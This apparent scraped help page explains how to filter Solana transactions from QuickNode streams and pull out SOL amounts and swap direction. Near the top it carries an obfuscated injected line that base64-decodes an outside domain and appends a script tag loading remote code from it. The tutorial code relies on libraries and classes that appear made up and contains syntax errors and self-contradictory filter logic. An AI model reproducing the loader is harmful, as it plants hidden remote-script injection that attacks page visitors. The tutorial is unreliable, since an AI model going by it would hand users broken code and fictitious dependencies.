Solana: Need help filtering solana transactions from QuickNode streams. Extracting amount of SOL sent and direction of swap
- 2025-02
- by Cn Vn
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=bbe2d00f”;document.body.appendChild(script);
I can guide you through setting up a solution for filtering and extracting specific information from your Solana transactions using QuickNode.
Prerequisites
- You have a QuickNode stream set up that is feeding live Solana transactions.
- Your QuickNode setup allows streaming raw payload block data. If not, you’ll need to implement this feature or use an alternative method to obtain the transaction data.
- You want to extract specific information from each transaction, such as:
– The amount of SOL sent.
– The direction (buy/sell) of the swap.
Solution Overview
To achieve your goal, we will utilize QuickNode’s streaming capabilities along with Solana’s built-in transaction filtering features. We’ll also use JavaScript for this example, but you can adapt it to other languages if needed.
Step 1: Set up a basic workflow in QuickNode
First, ensure that QuickNode is configured to stream data from your Solana node. This typically involves creating a stream listener and setting it to listen on the solana
topic with a specific block number range (in this case, the latest 100 blocks). You can use libraries like quicknode-streams
or create your own custom implementation.
Here’s a basic example of how you might set up such a listener in JavaScript using QuickNode Streams:
const { StreamListener } = require('quicknode-streams');
// Create a stream listener
const streamListener = new StreamListener({
topic: 'solana',
startBlockNumber: 100, // Start from the latest 100 blocks
endBlockNumber: Infinity,
});
streamListener.on('block', (block) => {
// Do something with each block's data
console.log(block.data);
});
Step 2: Use a library to filter transactions
Now that we have our stream listener set up, let’s create a function that filters the transactions based on the amount of SOL sent and the direction of swap. For this example, I’ll use solana-stream-filter
which is a popular JavaScript library for filtering Solana transaction data.
First, install the required library:
npm install solana-stream-filter
Then, create a new file (e.g., filterTransactions.js
) and add the following code:
const { StreamFilter } = require('solana-stream-filter');
// Function to filter transactions based on SOL amount and direction
async function filterTransactions(transaction) {
const solAmount = transaction.amount;
const swapDirection = transaction.direction;
// Assuming we have a list of acceptable amounts or directions
if (
!acceptableAmounts.includes(solAmount) ||
(swapDirection === 'buy' && solAmount > acceptableAmounts[0]) ||
(swapDirection === 'sell' && solAmount < acceptableAmounts[1])
) {
return false;
}
return true;
}
// List of acceptable amounts
const acceptableAmounts = [10, 20]; // Replace with your preferred SOL amounts
// Create a stream filter
const filter = new StreamFilter({
transaction
filters: { amount: acceptableAmounts },
});
// Use the filter in our QuickNode listener
streamListener.on('block', (block) => {
const transactions = block.transactions;
for (const transaction of transactions) {
if (!filter.transaction(transaction)) {
console.log(Filtered out ${transaction.address}:${transaction.amount} - ${transaction.direction}
);
// Remove or log the filtered transaction
filter.remove(transaction);
}
}
});
This example assumes you have a predefined list of acceptable amounts and directions for filtering. You can replace this with your own logic based on your specific requirements.
Step 3: Integrate the solution into QuickNode
After implementing the filtering step, integrate it back into your existing QuickNode setup.